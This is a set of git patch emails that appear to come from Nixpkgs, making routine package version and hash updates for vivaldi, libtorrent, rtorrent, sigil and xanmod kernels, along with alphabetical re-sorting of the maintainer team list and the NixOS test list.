Subject: [PATCH 4476/4511] vivaldi: 7.5.3735.66 -> 7.5.3735.74

(cherry picked from commit 7ff43c0b5c3433acee74c75d4e9fe975d029ce0c)
---
 pkgs/by-name/vi/vivaldi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/vi/vivaldi/package.nix b/pkgs/by-name/vi/vivaldi/package.nix
index 48eac470d55b..1ddb9df302a6 100644
--- a/pkgs/by-name/vi/vivaldi/package.nix
+++ b/pkgs/by-name/vi/vivaldi/package.nix
@@ -66,7 +66,7 @@
 
 stdenv.mkDerivation rec {
   pname = "vivaldi";
-  version = "7.5.3735.66";
+  version = "7.5.3735.74";
 
   suffix =
     {
@@ -79,8 +79,8 @@ stdenv.mkDerivation rec {
     url = "https://downloads.vivaldi.com/stable/vivaldi-stable_${version}-1_${suffix}.deb";
     hash =
       {
-        aarch64-linux = "sha256-f32ylDHoVD2eMMiNsCASiBsizEtv2iAMOiUe14tq+bo=";
-        x86_64-linux = "sha256-ETj91+AT/fF8UBhqsjOJQ4SnbKIF6Jb/T4Xmt3MutmM=";
+        aarch64-linux = "sha256-sfVCPtup7yPscyWoSwKZka9FwfEZburae/Ss/3YLtV8=";
+        x86_64-linux = "sha256-aCghO64GVZjCqnmzj7GHpEhUk2Pld2VKS44G/+ElogU=";
       }
       .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   };

From 4fd2d6d3fcd91f8c964bdfcbfc45ee6bbb9f3cde Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 11 Jun 2025 17:41:26 +0000
Subject: [PATCH 4477/4511] libtorrent: 0.15.1 -> 0.15.4

(cherry picked from commit 70b4703609df2fd05aea1404e8a9741df3430930)
---
 pkgs/by-name/li/libtorrent/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libtorrent/package.nix b/pkgs/by-name/li/libtorrent/package.nix
index 1b5ff8e0c9d3..1c0f49e0cb95 100644
--- a/pkgs/by-name/li/libtorrent/package.nix
+++ b/pkgs/by-name/li/libtorrent/package.nix
@@ -15,13 +15,13 @@
 
 stdenv.mkDerivation rec {
   pname = "rakshasa-libtorrent";
-  version = "0.15.1";
+  version = "0.15.4";
 
   src = fetchFromGitHub {
     owner = "rakshasa";
     repo = "libtorrent";
     rev = "v${version}";
-    hash = "sha256-ejDne7vaV+GYP6M0n3VAEva4UHuxRGwfc2rgxf7U/EM=";
+    hash = "sha256-EtT1g8fo2XRVO7pGUThoEklxpYKPI7OWwCZ2vVV73k4=";
   };
 
   nativeBuildInputs = [

From 38e5912ffe1235b7a25eb3621d595dad881055b6 Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Wed, 11 Jun 2025 20:30:47 +0100
Subject: [PATCH 4478/4511] rtorrent: 0.15.1 -> 0.15.4

(cherry picked from commit 700a1e18eb0d6897fe1a5e8bf0f6bdd1d059e792)
---
 pkgs/by-name/rt/rtorrent/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/rt/rtorrent/package.nix b/pkgs/by-name/rt/rtorrent/package.nix
index e3193c3374d9..ad30eb71bea2 100644
--- a/pkgs/by-name/rt/rtorrent/package.nix
+++ b/pkgs/by-name/rt/rtorrent/package.nix
@@ -18,13 +18,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "rakshasa-rtorrent";
-  version = "0.15.1";
+  version = "0.15.4";
 
   src = fetchFromGitHub {
     owner = "rakshasa";
     repo = "rtorrent";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-5ewAeoHvKcZ+5HTMlXLTu63JE3plKATvZToFEDZ9vOs=";
+    hash = "sha256-0OnDxmfliVP3GF2xzUZkURippzCGUwLebuyjb7nz/vs=";
   };
 
   outputs = [

From bb0cd0a40efd3600ae6ab7ab810c198feb635dbb Mon Sep 17 00:00:00 2001
From: Thiago Kenji Okada <thiagokokada@gmail.com>
Date: Wed, 11 Jun 2025 20:32:56 +0100
Subject: [PATCH 4479/4511] libtorrent: remove autoconf-archive

(cherry picked from commit 51bbeedb286888b103a0604a1c2bcb4c797dd61f)
---
 pkgs/by-name/li/libtorrent/package.nix | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/li/libtorrent/package.nix b/pkgs/by-name/li/libtorrent/package.nix
index 1c0f49e0cb95..eeca7cc91cf7 100644
--- a/pkgs/by-name/li/libtorrent/package.nix
+++ b/pkgs/by-name/li/libtorrent/package.nix
@@ -4,7 +4,6 @@
   lib,
   stdenv,
   fetchFromGitHub,
-  autoconf-archive,
   autoreconfHook,
   cppunit,
   openssl,
@@ -13,19 +12,18 @@
   gitUpdater,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "rakshasa-libtorrent";
   version = "0.15.4";
 
   src = fetchFromGitHub {
     owner = "rakshasa";
     repo = "libtorrent";
-    rev = "v${version}";
+    rev = "v${finalAttrs.version}";
     hash = "sha256-EtT1g8fo2XRVO7pGUThoEklxpYKPI7OWwCZ2vVV73k4=";
   };
 
   nativeBuildInputs = [
-    autoconf-archive
     autoreconfHook
     pkg-config
   ];
@@ -53,4 +51,4 @@ stdenv.mkDerivation rec {
     ];
     platforms = lib.platforms.unix;
   };
-}
+})

From 4a9a46f94d30d2c0e7a1e8a778c71a3204acba5c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 30 Jun 2025 14:28:29 +0000
Subject: [PATCH 4480/4511] libtorrent: 0.15.4 -> 0.15.5

(cherry picked from commit 05688076f424e3d517ae2406a74b708fdee872a1)
---
 pkgs/by-name/li/libtorrent/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libtorrent/package.nix b/pkgs/by-name/li/libtorrent/package.nix
index eeca7cc91cf7..03e8c19f213a 100644
--- a/pkgs/by-name/li/libtorrent/package.nix
+++ b/pkgs/by-name/li/libtorrent/package.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "rakshasa-libtorrent";
-  version = "0.15.4";
+  version = "0.15.5";
 
   src = fetchFromGitHub {
     owner = "rakshasa";
     repo = "libtorrent";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-EtT1g8fo2XRVO7pGUThoEklxpYKPI7OWwCZ2vVV73k4=";
+    hash = "sha256-iFndmET8bQUg3iZ6c6WDCzSS2tx6sYJt+fEkPAaNm18=";
   };
 
   nativeBuildInputs = [

From 8fb83a79884d45f6be322001aa689265083a7bda Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 6 Jul 2025 21:24:10 +0000
Subject: [PATCH 4481/4511] rtorrent: 0.15.4 -> 0.15.5

(cherry picked from commit 46c200918653d3201255ebed2649acc0da507fda)
---
 pkgs/by-name/rt/rtorrent/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/rt/rtorrent/package.nix b/pkgs/by-name/rt/rtorrent/package.nix
index ad30eb71bea2..0344c4d984ed 100644
--- a/pkgs/by-name/rt/rtorrent/package.nix
+++ b/pkgs/by-name/rt/rtorrent/package.nix
@@ -18,13 +18,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "rakshasa-rtorrent";
-  version = "0.15.4";
+  version = "0.15.5";
 
   src = fetchFromGitHub {
     owner = "rakshasa";
     repo = "rtorrent";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-0OnDxmfliVP3GF2xzUZkURippzCGUwLebuyjb7nz/vs=";
+    hash = "sha256-ZUZR/ydGhxLbjMEDAlbU5IbAxU1dCd0vvATdsn0NMQc=";
   };
 
   outputs = [

From 4e28e7754ca7248fa550b3d4c42ded41af193e37 Mon Sep 17 00:00:00 2001
From: PRESFIL <PRESFIL@users.noreply.github.com>
Date: Mon, 7 Jul 2025 13:42:20 +0000
Subject: [PATCH 4482/4511] rtorrent: Add option to build with Lua support

(cherry picked from commit 2a6dc58319d8a22768512a9530f1ef6377ff17cc)
---
 pkgs/by-name/rt/rtorrent/package.nix | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/rt/rtorrent/package.nix b/pkgs/by-name/rt/rtorrent/package.nix
index 0344c4d984ed..8cd504e6b4a1 100644
--- a/pkgs/by-name/rt/rtorrent/package.nix
+++ b/pkgs/by-name/rt/rtorrent/package.nix
@@ -14,6 +14,8 @@
   zlib,
   nixosTests,
   gitUpdater,
+  withLua ? false,
+  lua5_4_compat,
 }:
 
 stdenv.mkDerivation (finalAttrs: {
@@ -50,12 +52,14 @@ stdenv.mkDerivation (finalAttrs: {
     ncurses
     openssl
     zlib
-  ];
+  ]
+  ++ lib.optionals withLua [ lua5_4_compat ];
 
   configureFlags = [
     "--with-xmlrpc-tinyxml2"
     "--with-posix-fallocate"
-  ];
+  ]
+  ++ lib.optionals withLua [ "--with-lua" ];
 
   passthru = {
     updateScript = gitUpdater { rev-prefix = "v"; };

From 6db7a6666a43ecbc469a283ea12133d987782089 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 2 Jun 2025 06:43:47 +0000
Subject: [PATCH 4483/4511] sigil: 2.4.2 -> 2.5.1

(cherry picked from commit 2cac66e0898db1a7c229cdbfda6c845565ba1904)
---
 pkgs/by-name/si/sigil/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/sigil/package.nix b/pkgs/by-name/si/sigil/package.nix
index 9fdb16fe57a7..46ad4b1b574f 100644
--- a/pkgs/by-name/si/sigil/package.nix
+++ b/pkgs/by-name/si/sigil/package.nix
@@ -12,13 +12,13 @@
 
 stdenv.mkDerivation rec {
   pname = "sigil";
-  version = "2.4.2";
+  version = "2.5.1";
 
   src = fetchFromGitHub {
     repo = "Sigil";
     owner = "Sigil-Ebook";
     tag = version;
-    hash = "sha256-/lnSNamLkPLG8tn0w8F0zFyypMUXyMhgxA2WyQFegKw=";
+    hash = "sha256-1Z+OosEZJEHiUz+62wYuNeAyQXARh14WAtqBVjq1FZw=";
   };
 
   pythonPath = with python3Packages; [ lxml ];

From 030670fc283e3b7afaa9c664b78668551901ab70 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 12 Jun 2025 14:15:53 +0000
Subject: [PATCH 4484/4511] sigil: 2.5.1 -> 2.5.2

(cherry picked from commit 078eb997e8a9c233163ec4bb12ef89b69876b91e)
---
 pkgs/by-name/si/sigil/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/sigil/package.nix b/pkgs/by-name/si/sigil/package.nix
index 46ad4b1b574f..c59b70df0f08 100644
--- a/pkgs/by-name/si/sigil/package.nix
+++ b/pkgs/by-name/si/sigil/package.nix
@@ -12,13 +12,13 @@
 
 stdenv.mkDerivation rec {
   pname = "sigil";
-  version = "2.5.1";
+  version = "2.5.2";
 
   src = fetchFromGitHub {
     repo = "Sigil";
     owner = "Sigil-Ebook";
     tag = version;
-    hash = "sha256-1Z+OosEZJEHiUz+62wYuNeAyQXARh14WAtqBVjq1FZw=";
+    hash = "sha256-nMPBkAAah4qbatvtfkCJqdo6BVL0NuxFZEHhSiB4uXY=";
   };
 
   pythonPath = with python3Packages; [ lxml ];

From 487020a594792e3e9bdd4d9c2ae102d0982753f1 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 20 Jul 2025 14:43:14 +0800
Subject: [PATCH 4485/4511] sigil: 2.5.2 -> 2.6.0

(cherry picked from commit 3f9ae4be8ec6a8b18c49bb48487e617bf0d24460)
---
 pkgs/by-name/si/sigil/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/sigil/package.nix b/pkgs/by-name/si/sigil/package.nix
index c59b70df0f08..5f011ef0c114 100644
--- a/pkgs/by-name/si/sigil/package.nix
+++ b/pkgs/by-name/si/sigil/package.nix
@@ -12,13 +12,13 @@
 
 stdenv.mkDerivation rec {
   pname = "sigil";
-  version = "2.5.2";
+  version = "2.6.0";
 
   src = fetchFromGitHub {
     repo = "Sigil";
     owner = "Sigil-Ebook";
     tag = version;
-    hash = "sha256-nMPBkAAah4qbatvtfkCJqdo6BVL0NuxFZEHhSiB4uXY=";
+    hash = "sha256-orOuY+gCh7X24jfnGgCbqRWDbtQqrlopYx9sWN2VawA=";
   };
 
   pythonPath = with python3Packages; [ lxml ];

From b837427e895f176f9130dca39de1a2a3b9ecf99c Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 20 Jul 2025 14:45:52 +0800
Subject: [PATCH 4486/4511] sigil: wrap qt app

(cherry picked from commit 86dbfd8c158cac379c1abe5b5128a250cbc357b4)
---
 pkgs/by-name/si/sigil/package.nix | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/pkgs/by-name/si/sigil/package.nix b/pkgs/by-name/si/sigil/package.nix
index 5f011ef0c114..c75a39e7f2dc 100644
--- a/pkgs/by-name/si/sigil/package.nix
+++ b/pkgs/by-name/si/sigil/package.nix
@@ -57,10 +57,28 @@ stdenv.mkDerivation rec {
     runHook postInstall
   '';
 
+  dontWrapQtApps = true;
+
   preFixup = ''
     qtWrapperArgs+=(--prefix PYTHONPATH : "$PYTHONPATH")
   '';
 
+  fixupPhase =
+    let
+      sigil =
+        if stdenv.hostPlatform.isDarwin then
+          "$out/Applications/Sigil.app/Contents/MacOS/Sigil"
+        else
+          "$out/bin/sigil";
+    in
+    ''
+      runHook preFixup
+
+      wrapQtApp "${sigil}"
+
+      runHook postFixup
+    '';
+
   meta = {
     description = "Free, open source, multi-platform ebook (ePub) editor";
     homepage = "https://github.com/Sigil-Ebook/Sigil/";

From da1ae97e53f108c540ffc4690bb2f2d9f7016899 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 13 Sep 2025 02:08:05 +0000
Subject: [PATCH 4487/4511] sigil: 2.6.0 -> 2.6.2

(cherry picked from commit 8e2edd632affc4d7c5ee796738b66d1a9ec96c69)
---
 pkgs/by-name/si/sigil/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/sigil/package.nix b/pkgs/by-name/si/sigil/package.nix
index c75a39e7f2dc..e15163489769 100644
--- a/pkgs/by-name/si/sigil/package.nix
+++ b/pkgs/by-name/si/sigil/package.nix
@@ -12,13 +12,13 @@
 
 stdenv.mkDerivation rec {
   pname = "sigil";
-  version = "2.6.0";
+  version = "2.6.2";
 
   src = fetchFromGitHub {
     repo = "Sigil";
     owner = "Sigil-Ebook";
     tag = version;
-    hash = "sha256-orOuY+gCh7X24jfnGgCbqRWDbtQqrlopYx9sWN2VawA=";
+    hash = "sha256-3+ODd0/kkXfAchsErLjy6FDHoyVP9VyxbINKMn3N/PM=";
   };
 
   pythonPath = with python3Packages; [ lxml ];

From 96ac11c6ba0fe1e532d10ace449827ad7f2acfc7 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 13 Sep 2025 00:01:07 +0200
Subject: [PATCH 4488/4511] linux_xanmod: 6.12.46 -> 6.12.47

(cherry picked from commit ea83ca2282f9b586bbe5dfc6d69a93b68fd27f73)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index c9c027852762..8e09af7d5a59 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -15,8 +15,8 @@ let
   variants = {
     # ./update-xanmod.sh lts
     lts = {
-      version = "6.12.46";
-      hash = "sha256-F3a13wXACJrKHLbEcq+Z+cw08/8Ttqut76osvZ9qdTY=";
+      version = "6.12.47";
+      hash = "sha256-jR1VqFE1jF5mTRAp+Xxswmh9bMIolJtCk4QgMHzIhao=";
       isLTS = true;
     };
     # ./update-xanmod.sh main

From 0a19751cfc673447c1b4021a1615f2c98c64b463 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Sat, 13 Sep 2025 00:02:53 +0200
Subject: [PATCH 4489/4511] linux_xanmod_latest: 6.16.6 -> 6.16.7

(cherry picked from commit 57664377d1d3d2de4ec3e1802866f7e661bf091a)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 8e09af7d5a59..c2d9abd53d29 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -21,8 +21,8 @@ let
     };
     # ./update-xanmod.sh main
     main = {
-      version = "6.16.6";
-      hash = "sha256-ayNw64Wkg4HKnxEuvmGmgkJB3wLKqKAkK70mgX3eJJ8=";
+      version = "6.16.7";
+      hash = "sha256-/CFSGaDbK0pZgGGOOxixwOQgeD1OsbUhtRss4VbXHxE=";
     };
   };
 

From a2db8298a0b279d6260de48092528e9e031859f3 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 13 Sep 2025 14:17:32 +0200
Subject: [PATCH 4490/4511] maintainers/team-list: keep-sorted

(cherry picked from commit 005a118ceba6e1a1acc1b6262680b6bbc0d3bcab)
---
 maintainers/maintainer-list.nix |   1 -
 maintainers/team-list.nix       | 194 ++++++++++++++++----------------
 2 files changed, 98 insertions(+), 97 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index 9bb4c14d7e0a..9aaae44349d9 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -27718,4 +27718,3 @@
   };
   # keep-sorted end
 }
-# Keep the list alphabetically sorted.
diff --git a/maintainers/team-list.nix b/maintainers/team-list.nix
index fdb9994e887c..4e04e3da174a 100644
--- a/maintainers/team-list.nix
+++ b/maintainers/team-list.nix
@@ -31,6 +31,7 @@
 { lib }:
 with lib.maintainers;
 {
+  # keep-sorted start case=no numeric=no block=yes newline_separated=yes
   acme = {
     members = [
       aanderse
@@ -258,6 +259,15 @@ with lib.maintainers;
     enableFeatureFreezePing = true;
   };
 
+  cosmopolitan = {
+    members = [
+      bbjubjub
+      tomberek
+    ];
+    scope = "Maintain the Cosmopolitan LibC and related programs.";
+    shortName = "Cosmopolitan";
+  };
+
   cuda = {
     members = [
       connorbaker
@@ -293,28 +303,6 @@ with lib.maintainers;
     enableFeatureFreezePing = true;
   };
 
-  cosmopolitan = {
-    members = [
-      bbjubjub
-      tomberek
-    ];
-    scope = "Maintain the Cosmopolitan LibC and related programs.";
-    shortName = "Cosmopolitan";
-  };
-
-  dotnet = {
-    members = [
-      mdarocha
-      corngood
-      ggg
-      raphaelr
-      jamiemagee
-      anpin
-    ];
-    scope = "Maintainers of the .NET build tools and packages";
-    shortName = "dotnet";
-  };
-
   deepin = {
     members = [ rewine ];
     scope = "Maintain deepin desktop environment and related packages.";
@@ -369,6 +357,19 @@ with lib.maintainers;
     enableFeatureFreezePing = true;
   };
 
+  dotnet = {
+    members = [
+      mdarocha
+      corngood
+      ggg
+      raphaelr
+      jamiemagee
+      anpin
+    ];
+    scope = "Maintainers of the .NET build tools and packages";
+    shortName = "dotnet";
+  };
+
   emacs = {
     members = [
       AndersonTorres
@@ -495,21 +496,6 @@ with lib.maintainers;
     shortName = "gitlab";
   };
 
-  golang = {
-    members = [
-      kalbasit
-      katexochen
-      mic92
-      zowoq
-      qbit
-      mfrw
-    ];
-    githubTeams = [ "golang" ];
-    scope = "Maintain Golang compilers.";
-    shortName = "Go";
-    enableFeatureFreezePing = true;
-  };
-
   gnome = {
     members = [
       bobby285271
@@ -533,6 +519,21 @@ with lib.maintainers;
     shortName = "GNOME Circle";
   };
 
+  golang = {
+    members = [
+      kalbasit
+      katexochen
+      mic92
+      zowoq
+      qbit
+      mfrw
+    ];
+    githubTeams = [ "golang" ];
+    scope = "Maintain Golang compilers.";
+    shortName = "Go";
+    enableFeatureFreezePing = true;
+  };
+
   graalvm-ce = {
     members = [
       bandresen
@@ -672,17 +673,6 @@ with lib.maintainers;
     shortName = "K3s";
   };
 
-  kubernetes = {
-    members = [
-      johanot
-      offline
-      saschagrunert
-      srhb
-    ];
-    scope = "Maintain the Kubernetes package and module";
-    shortName = "Kubernetes";
-  };
-
   kodi = {
     members = [
       aanderse
@@ -698,6 +688,17 @@ with lib.maintainers;
     shortName = "Kodi";
   };
 
+  kubernetes = {
+    members = [
+      johanot
+      offline
+      saschagrunert
+      srhb
+    ];
+    scope = "Maintain the Kubernetes package and module";
+    shortName = "Kubernetes";
+  };
+
   libretro = {
     members = [
       aanderse
@@ -735,6 +736,19 @@ with lib.maintainers;
     enableFeatureFreezePing = true;
   };
 
+  lix = {
+    members = [
+      raitobezarius
+      qyriad
+      _9999years
+      lf-
+      alois31
+    ];
+    scope = "Maintain the Lix package manager inside of Nixpkgs.";
+    shortName = "Lix ecosystem";
+    enableFeatureFreezePing = true;
+  };
+
   llvm = {
     members = [
       dtzWill
@@ -758,6 +772,13 @@ with lib.maintainers;
     enableFeatureFreezePing = true;
   };
 
+  lua = {
+    githubTeams = [ "lua" ];
+    scope = "Maintain the lua ecosystem.";
+    shortName = "lua";
+    enableFeatureFreezePing = true;
+  };
+
   lumiguide = {
     # Verify additions by approval of an already existing member of the team.
     members = [
@@ -768,13 +789,6 @@ with lib.maintainers;
     shortName = "Lumiguide employees";
   };
 
-  lua = {
-    githubTeams = [ "lua" ];
-    scope = "Maintain the lua ecosystem.";
-    shortName = "lua";
-    enableFeatureFreezePing = true;
-  };
-
   lumina = {
     members = [ romildo ];
     githubTeams = [ "lumina" ];
@@ -836,19 +850,6 @@ with lib.maintainers;
     shortName = "Matrix";
   };
 
-  minimal-bootstrap = {
-    members = [
-      alejandrosame
-      artturin
-      emilytrau
-      ericson2314
-      jk
-      siraben
-    ];
-    scope = "Maintain the minimal-bootstrap toolchain and related packages.";
-    shortName = "Minimal Bootstrap";
-  };
-
   mercury = {
     members = [
       _9999years
@@ -861,31 +862,17 @@ with lib.maintainers;
     shortName = "Mercury Employees";
   };
 
-  # same as https://github.com/orgs/NixOS/teams/nix-team
-  nix = {
+  minimal-bootstrap = {
     members = [
-      eelco
-      mic92
-      tomberek
-      roberth
+      alejandrosame
+      artturin
+      emilytrau
       ericson2314
+      jk
+      siraben
     ];
-    scope = "Maintain the Nix package manager.";
-    shortName = "Nix/nix-cli ecosystem";
-    enableFeatureFreezePing = true;
-  };
-
-  lix = {
-    members = [
-      raitobezarius
-      qyriad
-      _9999years
-      lf-
-      alois31
-    ];
-    scope = "Maintain the Lix package manager inside of Nixpkgs.";
-    shortName = "Lix ecosystem";
-    enableFeatureFreezePing = true;
+    scope = "Maintain the minimal-bootstrap toolchain and related packages.";
+    shortName = "Minimal Bootstrap";
   };
 
   module-system = {
@@ -934,6 +921,20 @@ with lib.maintainers;
     shortName = "NGI";
   };
 
+  # same as https://github.com/orgs/NixOS/teams/nix-team
+  nix = {
+    members = [
+      eelco
+      mic92
+      tomberek
+      roberth
+      ericson2314
+    ];
+    scope = "Maintain the Nix package manager.";
+    shortName = "Nix/nix-cli ecosystem";
+    enableFeatureFreezePing = true;
+  };
+
   nixos-rebuild = {
     members = [ thiagokokada ];
     scope = "Maintain nixos-rebuild(-ng).";
@@ -1153,12 +1154,6 @@ with lib.maintainers;
     enableFeatureFreezePing = true;
   };
 
-  sphinx = {
-    members = [ ];
-    scope = "Maintain Sphinx related packages.";
-    shortName = "Sphinx";
-  };
-
   serokell = {
     # Verify additions by approval of an already existing member of the team.
     members = [ balsoft ];
@@ -1166,6 +1161,12 @@ with lib.maintainers;
     shortName = "Serokell employees";
   };
 
+  sphinx = {
+    members = [ ];
+    scope = "Maintain Sphinx related packages.";
+    shortName = "Sphinx";
+  };
+
   stdenv = {
     members = [
       artturin
@@ -1276,4 +1277,5 @@ with lib.maintainers;
     shortName = "Zig";
     enableFeatureFreezePing = true;
   };
+  # keep-sorted end
 }

From 1c19667f3cf391c89bc024423afa7547d5ae227d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 13 Sep 2025 14:18:39 +0200
Subject: [PATCH 4491/4511] nixos/all-tests: keep-sorted

(cherry picked from commit 4d055c69f7248602fff1075f9d15c69d9fddaa80)
---
 nixos/tests/all-tests.nix | 308 +++++++++++++++++++-------------------
 1 file changed, 155 insertions(+), 153 deletions(-)

diff --git a/nixos/tests/all-tests.nix b/nixos/tests/all-tests.nix
index a7e6f9cf9036..c39028519e87 100644
--- a/nixos/tests/all-tests.nix
+++ b/nixos/tests/all-tests.nix
@@ -167,10 +167,18 @@ in
 
   # NixOS vm tests and non-vm unit tests
 
+  # keep-sorted start case=no numeric=no block=yes
   _3proxy = runTest ./3proxy.nix;
   aaaaxy = runTest ./aaaaxy.nix;
   acme = import ./acme/default.nix { inherit runTest; };
   acme-dns = runTest ./acme-dns.nix;
+  activation = pkgs.callPackage ../modules/system/activation/test.nix { };
+  activation-etc-overlay-immutable = runTest ./activation/etc-overlay-immutable.nix;
+  activation-etc-overlay-mutable = runTest ./activation/etc-overlay-mutable.nix;
+  activation-lib = pkgs.callPackage ../modules/system/activation/lib/test.nix { };
+  activation-nix-channel = runTest ./activation/nix-channel.nix;
+  activation-perlless = runTest ./activation/perlless.nix;
+  activation-var = runTest ./activation/var.nix;
   actual = runTest ./actual.nix;
   adguardhome = runTest ./adguardhome.nix;
   aesmd = runTestOn [ "x86_64-linux" ] ./aesmd.nix;
@@ -202,9 +210,9 @@ in
   anuko-time-tracker = runTest ./anuko-time-tracker.nix;
   apcupsd = runTest ./apcupsd.nix;
   apfs = runTest ./apfs.nix;
+  apparmor = runTest ./apparmor;
   appliance-repart-image = runTest ./appliance-repart-image.nix;
   appliance-repart-image-verity-store = runTest ./appliance-repart-image-verity-store.nix;
-  apparmor = runTest ./apparmor;
   archi = runTest ./archi.nix;
   aria2 = runTest ./aria2.nix;
   armagetronad = runTest ./armagetronad.nix;
@@ -213,7 +221,6 @@ in
   atop = import ./atop.nix { inherit pkgs runTest; };
   atticd = runTest ./atticd.nix;
   atuin = runTest ./atuin.nix;
-  ax25 = handleTest ./ax25.nix { };
   audiobookshelf = runTest ./audiobookshelf.nix;
   auth-mysql = runTest ./auth-mysql.nix;
   authelia = runTest ./authelia.nix;
@@ -227,6 +234,7 @@ in
     imports = [ ./avahi.nix ];
     _module.args.networkd = true;
   };
+  ax25 = handleTest ./ax25.nix { };
   ayatana-indicators = runTest ./ayatana-indicators.nix;
   babeld = runTest ./babeld.nix;
   bazarr = runTest ./bazarr.nix;
@@ -255,9 +263,9 @@ in
   blockbook-frontend = handleTest ./blockbook-frontend.nix { };
   blocky = handleTest ./blocky.nix { };
   boot = handleTestOn [ "x86_64-linux" "aarch64-linux" ] ./boot.nix { };
-  bootspec = handleTestOn [ "x86_64-linux" ] ./bootspec.nix { };
   boot-stage1 = handleTest ./boot-stage1.nix { };
   boot-stage2 = handleTest ./boot-stage2.nix { };
+  bootspec = handleTestOn [ "x86_64-linux" ] ./bootspec.nix { };
   borgbackup = handleTest ./borgbackup.nix { };
   borgmatic = handleTest ./borgmatic.nix { };
   botamusique = runTest ./botamusique.nix;
@@ -277,11 +285,11 @@ in
   cadvisor = handleTestOn [ "x86_64-linux" ] ./cadvisor.nix { };
   cage = handleTest ./cage.nix { };
   cagebreak = handleTest ./cagebreak.nix { };
-  calibre-web = runTest ./calibre-web.nix;
   calibre-server = import ./calibre-server.nix { inherit pkgs runTest; };
+  calibre-web = runTest ./calibre-web.nix;
   canaille = handleTest ./canaille.nix { };
-  castopod = handleTest ./castopod.nix { };
   cassandra_4 = handleTest ./cassandra.nix { testPackage = pkgs.cassandra_4; };
+  castopod = handleTest ./castopod.nix { };
   centrifugo = runTest ./centrifugo.nix;
   ceph-multi-node = handleTestOn [ "aarch64-linux" "x86_64-linux" ] ./ceph-multi-node.nix { };
   ceph-single-node = handleTestOn [ "aarch64-linux" "x86_64-linux" ] ./ceph-single-node.nix { };
@@ -351,31 +359,31 @@ in
     _module.args.enableAutologin = true;
     _module.args.enableXWayland = true;
   };
-  cosmic-noxwayland = runTest {
-    imports = [ ./cosmic.nix ];
-    _module.args.testName = "cosmic-noxwayland";
-    _module.args.enableAutologin = false;
-    _module.args.enableXWayland = false;
-  };
   cosmic-autologin-noxwayland = runTest {
     imports = [ ./cosmic.nix ];
     _module.args.testName = "cosmic-autologin-noxwayland";
     _module.args.enableAutologin = true;
     _module.args.enableXWayland = false;
   };
+  cosmic-noxwayland = runTest {
+    imports = [ ./cosmic.nix ];
+    _module.args.testName = "cosmic-noxwayland";
+    _module.args.enableAutologin = false;
+    _module.args.enableXWayland = false;
+  };
   coturn = handleTest ./coturn.nix { };
   couchdb = handleTest ./couchdb.nix { };
   crabfit = handleTest ./crabfit.nix { };
